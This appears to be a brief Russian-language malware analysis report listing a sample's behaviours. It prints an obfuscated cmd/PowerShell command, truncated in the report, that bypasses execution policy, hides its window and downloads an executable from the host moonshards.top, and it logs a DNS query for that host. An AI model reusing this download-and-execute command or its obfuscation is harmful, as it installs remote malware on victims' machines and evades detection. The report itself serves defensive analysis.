Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://moonshards.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^OWerS^Hel^l.eXE^ ^-exe^c^U^Ti^oNpolic^Y b^ypASs ^-No^PRo^fi^LE^ -W^IN^dOWSt^YL^E h^iddE^n (^N^e^W-O^b^JE^C^T^ SY^ST^E^M.^n^E^t.^w^ebCL^ieN^t).^do^WNlOAd^FI^lE^(^'http://moonshar...
Сетевая активность
UDP
- DNS ASK mo###hards.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^OWerS^Hel^l.eXE^ ^-exe^c^U^Ti^oNpolic^Y b^ypASs ^-No^PRo^fi^LE^ -W^IN^dOWSt^YL^E h^iddE^n (^N^e^W-O^b^JE^C^T^ SY^ST^E^M.^n^E^t.^w^ebCL^ieN^t).^do^WNlOAd^FI^lE^(^'http://moonshar...' (со скрытым окном)
